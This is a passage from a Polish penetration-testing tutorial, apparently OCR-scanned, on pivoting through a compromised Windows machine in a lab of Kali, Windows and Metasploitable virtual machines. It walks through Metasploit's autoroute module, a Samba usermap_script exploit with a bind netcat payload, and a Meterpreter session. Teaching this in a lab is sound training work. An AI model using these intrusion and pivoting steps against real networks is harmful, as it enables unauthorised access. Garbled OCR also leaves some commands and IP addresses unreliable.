ustawienia urzgdzenia z systemem Windows, aby potaczy¢ je z obiema sieciami. Urzgdzenie z
systemem Windows, jak wida¢ na powyzszym zrzucie ekranu, jest urzgdzeniem wspdélnym i bedzie
potgczone z siecig NAT, do ktérej podtgczony jest Kali, a takze z tg, do ktdrej podtgczony jest komputer
Metasploitable. W ustawieniach komputera z systemem Windows przejdZ do sekcji Sie¢ | Karta
sieciowa 2 | Wtacz karte sieciowg i potgcz urzadzenie z siecig NAT. Nastepnie wybierz NatNetworkl w
nastepujacy sposéb:

& MSEdge - Winl0 - Settings ?Pi| AEZi
L-J General Network
w Systemn ﬁdaerl Adapter2 | Adapter 3 [ Adapter 4 |
lg] Display || Enable Network Adapter
Q Attached to: |NAT Network v |
! Storage :
Name: | Nathetworkl Y
p fdio > Advanced
[gl Network
@ Serial Ports
ﬁ UsB
‘i Shared Folders
E User Interface
[ o |[ concal |

Urzadzenie z systemem Windows korzysta teraz z dwdch adapterdw: jeden z nich jest podtgczony do
sieci NatNetwork, a drugi do sieci NatNetworkl. Na urzadzeniu Metasploitable przejdz do Ustawien |
Sie¢ i zamiast podtaczac je do NatNetwork, podtacz je do NatNetwork1:



{2 Metasploitable - Settings P el
| General Metwork
E System Adapter 1 Adapter 2 Adapter 3 Adapter 4
=] Display +f| Enable Metwork Adaptes
o Attached to: | NAT Mebeork b
\ Storage e
D Audie Mame: | Nathebworkl b
[ advanced
E‘ Metarark
‘f& =erial Ports
@ use
|: Shared Folders
IZI User Interface
[ ok | camca |

Teraz urzadzenie Metasploitable jest potgczone tylko z tg samg siecig, do ktérej jest podtgczone
urzadzenie z systemem Windows, a komputer Kali jest potgczony tylko z tg samg siecig, do ktérej jest
podtgczone urzadzenie z systemem Windows. Urzadzenie z systemem Windows jest potgczone z
obiema sieciami. Teraz, aby sprawdzi¢, czy ustawienia sg poprawne, uruchomimy urzadzenie
Metasploitable oraz urzadzenie z systemem Windows i uzyjemy polecen ping, aby upewni¢ sie, ze
wszystko jest poprawnie skonfigurowane. Najwazniejsze jest, aby komputer z systemem Windows
mogt pingowad zaréwno urzadzenia Metasploitable, jak i Kali. Na ponizszym zrzucie ekranu wida¢, ze
uzyskaliSmy adres IP urzagdzenia Metasploitable — 10.0.3.5:

mefadnin@netasploitable:"5 ifconfig
etho Link encap:Eth

I
» HULTIC

1918 Hemory

Loopback

UF LOOFBAI
] pac ket:
packe
li 1 txguenes
bytes:139663 (19.£ KB) TX bytes:19663

Uruchom polecenie ping 10.0.3.5, a przekonasz sie, ze komputer z systemem Windows widzi maszyne
Metasploitable, jak pokazano na ponizszym zrzucie ekranu:



Sprawdzmy teraz, czy system Windows widzi maszyne Kali, ktéra znajduje sie pod adresem 10.02.15.
Jesli system Windows widzi obie maszyny, oznacza to, ze jest to maszyna posrodku:

time<ims
time<ims
time<ims

ics
Sent
rounc
oms,

Sprawdzimy réwniez, czy maszyna Metasploitable widzi maszyne Kali. Nie powinna jej widzie¢,
poniewaz maszyny Kali i Metasploitable sg potgczone z dwiema réznymi sieciami. Po uruchomieniu

o 'S b | y 15
ping 10.0.2.15 na maszynie Metasploitable, zobaczymy, ze nie otrzymujemy zadnych

pakietow -Wystano 18 pakietédw, a odebrano 0:

15t admn in@me loit Ty pi B.£.15
"ING 10.0.2 (10 b (B4) by of data.

-— 10.0.£.15 ping statistics ——
18 packets transmitted, O received, 180+ packet loss, timne 1781Zms

Zatem urzadzenie Metasploitable nie widzi maszyny Kali, a maszyna Kali réwniez nie widzi urzadzenia

Metasploitable. Uruchom polecenie ping 10.0.3.5 w systemie Kali, a przekonamy sie, ze
wysyta on pakiety 3 i odbiera je O; te dwa urzgdzenia nie widzg sie nawzajem, poniewaz znajdujg sie w

dwéch réznych sieciach, jak pokazuje ponizszy zrzut ekranu:

# ping 10.0.3.5
PING 10.0.3.5 (10.0.3.5) 56(84) bytes of data.

- 10.0.3.5 ping statistics ---
3 packets transmitted, © received, 100% packet loss, time 2046ms




W nastepnej sekcji wykorzystamy nasz dostep do komputera z systemem Windows, aby wlamac sie do
urzadzenia Metasploitable, poniewaz komputer z systemem Windows jest wspdélnym urzadzeniem,
podtgczonym do obu sieci.

Obracanie autoroute'ow

Teraz, gdy rozumiemy koncepcje obracania, jego wykonanie nie bedzie trudne. Wystarczy wgrac
dowolne narzedzie, ktérego chcemy uzyé; na przyktad, jesli chcemy uzy¢ Nmap, ARP spoof lub dSniff,
mozemy wgrac te narzedzia i uruchomié je na komputerze z systemem Windows, ktdry jest podfaczony
do duzej sieci, a nastepnie uruchomié skaner portéw, wykonac zatrucie ARP lub przeprowadzi¢ ataki
typu man-in-the-middle, tak jak nauczyli$my sie wczesniej. To bardzo proste; wystarczy uzy¢ polecenia
upload i uruchomi¢ narzedzie z wiersza polecei. W tej sekcji zobaczymy, jak skonfigurowac trase
miedzy zhakowanym komputerem a naszym komputerem, abysmy mogli uzyé dowolnego narzedzia
pomocniczego lub modutu Metasploit przeciwko duzej sieci. Bedziemy mogli korzysta¢ z exploitéow
Metasploit, skaneréw portéw i innych przydatnych modutéw. Aby to zrobi¢, uzyjemy modutu o nazwie
autoroute. Przyjrzyjmy sie, jak uruchomié exploit na maszynie wirtualnej Metasploitable; nie powinno
to zadziataé, poniewaz na razie nie jest on dla nas widoczny. Uzyjemy wiec sessions list i przekonamy
sie, ze mamy potaczenie przez komputer z systemem Windows, ktéry juz zhakowalismy:

. . 1ze expleit/multi/sambasusermap script . .
Nastepnie uruchomimy e : o - - ten exploit zostat juz

wczesniej wykorzystany na urzadzeniu Metasploitable, ale znajdowat sie wtedy w tej samej sieci, wiec
byt dla nas widoczny. Tym razem prébujemy zaatakowaé urzgdzenie, ktdre jest niewidoczne. Nastepnie
uruchomimy show options w nastepujacy sposéb:

) > use exploit/multi/samba/usermap script
) > show options

Module options (exploit/multi/samba/usermap script):
Name Current Setting Required Description

RHOST The target address

RPORT 139 The target port (TCP)

Exploit target:

Id Name

Automatic

Ustawimy RHOST na 10.0.3.5, poniewaz jest to adres IP urzadzenia Metasploitable. Nastepnie, gdy

uzyjemy set PAYLOAD cmd/unix/bind_netcat | show options wszystko zostanie



poprawnie skonfigurowane; Uruchomimy wiec exploit i zobaczymy, ze exploit wygasnie, poniewaz
urzadzenie hakera nie widzi urzgdzenia Metasploitable. Probuje wiec uruchomic exploit na urzadzeniu
Metasploitable, mimo ze urzgdzenie Metasploitable ma luke w zabezpieczeniach, ale nie bedziemy
mogli z niego skorzystac, poniewaz nie widzimy urzadzenia Metasploitable. Jak zobaczymy, exploit sie
nie powiédt, otrzymalismy ConnectionTimeout i po prostu nie mogliSmy potgczy¢ sie z komputerem
docelowym, jak pokazano na ponizszym zrzucie ekranu:

> exploit

funreachable]: Rex::ConnectionTimeout The connection timed out (10.0.3.15:139)
10n was created

Teraz nawigzemy interakcje z Meterpreterem na ID 1 i uruchomimy sessions -i 1. Zatem w naszym
Meterpreterze uruchomimy ifconfig, aby zobaczy¢ sieci, do ktérych podtgczony jest komputer
docelowy:

meterpreter = ifconfig
Interface

: Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 429496 *“95
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPvE Netmask : TTTT:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface

: Intel(R) PRD/1008 MT Desktop Adapter
Hardware MAC : 08:00:27:04:18:04

MTU : 1500

IPv4 Address : 18.0.2.5

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::f590:a@cd:d841:d69b

IPv6 MNetmask : TTTT: Tt f:7111T::

Interface 21

; : Intel(R) PRO/1088& MT Desktop Adapter #2
dIdeIF MAC : B8:00:27:77:6
MTU : 1500
IPv4 Address : 10.0,3.¢
IPv4 Netmask : 255.2
IPv6 Address : fe80::3
IPvE Netmask

Widzimy wszystkie interfejsy podtgczone do komputera docelowego i szukamy interfejsow z adresami
IP. Widzimy, ze interfejs o numerze 9 ma adres IP i widzimy, ze ten adres IP znajduje sie w naszej sieci,
wiec nie jest to zbyt przydatne. Jest juz w naszej sieci; jestesmy w podsieci 10.0.2.5/24. Innym



interfejsem, ktdéry widzimy, jest Interface 21, ktéry jest podtgczony do 10.0.3.4; znajduje sie on w innej
podsieci, ktérej nie mozemy zobaczy¢ z naszego urzadzenia Kali Linux.

Teraz sprobujemy skonfigurowaé trase miedzy inng podsiecig a obecng. Skopiujemy adres 10.0.3.4 i
utworzymy background biezgcej sesji, wracajgc do Metasploit. Nastepnie uruchomimy

use post/multi/manage/auvtoroute. T .
=t g€ =, Teraz, jesli chcemy zobaczy¢ wszystkie zarzgdzane moduty

use post/multismanage/s

w dowolnym momencie, po poleceniu nacisnij dwukrotnie klawisz Tab,

post/multi/manage .

a zobaczymy wszystkie moduty i mozemy przeprowadzi¢ z nimi nowy

eksperyment:

Teraz chcemy uzy¢ autoroute. Musimy ustawi¢ SESSION i SUBNET; najpierw ustaw SESSION,
uruchamiajgc set SESSION 1, a nastepnie ustaw SUBNET na wartos$é, ktérg widzielismy po
uruchomieniu polecenia ifconfig. To byto 10.0.3.4. Ponownie uzywamy bardzo prostych polecen,
ktérych juz sie nauczylismy. Ustawimy to SESSION na liczbe 1 (to jest SESSION ktérg zhakowalismy
dla komputera z systemem Windows), a SUBNET to SUBNET, do ktérego podtaczony jest komputer z
systemem Windows, wiec jest to 10.0.3.0. Nastepnie uruchomimy exploit, co utworzy potaczenie (lub
trase) miedzy naszym urzgdzeniem a urzgdzeniem z systemem Windows:

Teraz wrécimy do tego samego exploita, ktérego prébowalismy na poczatku tej sekcji i przekonamy
sie, ze teraz exploit zadziata, poniewaz urzadzenie z systemem Windows jest dla nas widoczne. Zamiast
korzystaé z exploita cmpleit;multi;ﬁamba;uﬁcrmap_ﬁ:ript1,moimﬂyskonyﬁaézeskmuyéw
portéw lub modutéw wykrywania, ktore sg preinstalowane w Metasploit, lub dowolnego innego
modutu dofaczonego do Metasploit. Mamy teraz potgczenie z komputerem z systemem Windows i
skonfigurowalismy trase miedzy tg siecig a naszym komputerem, wiec mozemy teraz zobaczyc
urzadzenie z systemem Metasploitable. Teraz uzyjemy tego samego exploita, ktérego uzywalismy
wezeéniej; S¥plolt/multi/samba/usermap_scripti po,ostawimy opcje bez zmian, poniewaz
wszystko jest skonfigurowane poprawnie. Po prostu uruchomimy exploit, jak widaé na ponizszym
zrzucie ekranu, powtfoka poleceld uruchomi sie poprawnie, a my uzyskamy dostep do urzgdzenia

Metasploitable:



Mozemy uruchomic¢ id i uname -a, aby potwierdzi¢ powyisze, i wtedy zobaczymy, ze jestesmy w
urzadzeniu Metasploitable i mozemy uruchomié dowolne polecenie systemu Linux; mozemy uzy¢ |s,
pwd lub dowolnego innego polecenia systemu Linux w nastepujgcy sposéb:

Zasadniczo mamy petny dostep do komputera docelowego. Jak wspomnieliSmy wczes$niej, mozemy
wgraé program i uruchomic go z komputera docelowego. Jednak wgrywanie danych na zhakowany
komputer nie zawsze jest dobrym pomystem — konfigurowanie tras i korzystanie z funkcji pivot to
znacznie bezpieczniejsze rozwigzania. Zdecydowanie zalecamy zapoznanie sie z innymi modutami
Metasploitable, poniewaz Metasploit jest bardzo rozbudowany. Trudno mi byto omdwié wszystko;
omowitem tylko gtdwne punkty, ale zawsze mozesz przejrze¢ inne moduty. Korzystanie z modutéw w
praktyce zazwyczaj wyglada tak samo, jak tutaj; przyjrzeliSmy sie szerokiej gamie modutdw, wiec
powiniene$ moc konfigurowac opcje i uruchamia¢ moduty w dowolny sposdb.

Podsumowanie

Skupilismy sie na zadaniach poeksploatacyjnych, ktére obejmowaty dziatania, jakie mozna podjg¢ po
wiamaniu sie do systemu docelowego. OmdéwiliSmy podstawowe polecenia systemu plikdw i
zilustrowalismy, jak uzyska¢ dostep do komputera ofiary, nawet jesli uzytkownik nie korzysta z
konkretnego oprogramowania lub wytgczyt system. WdrozyliSmy zaréwno proste, jak i zaawansowane
metody utrzymania dostepu do systemu. Nastepnie oméwiliSmy, jak uzyska¢ dane uwierzytelniajgce
uzytkownika po przeprowadzeniu ataku keyloggerowego na urzadzenie docelowe. Pdzniej omowilismy
koncepcje ,pivotowania”, co oznacza atakowanie systemu, ktéry nie jest bezposrednio obecny w
naszej sieci. Przeanalizowalismy nawet przyktady , pivotowania” tras automatycznych.



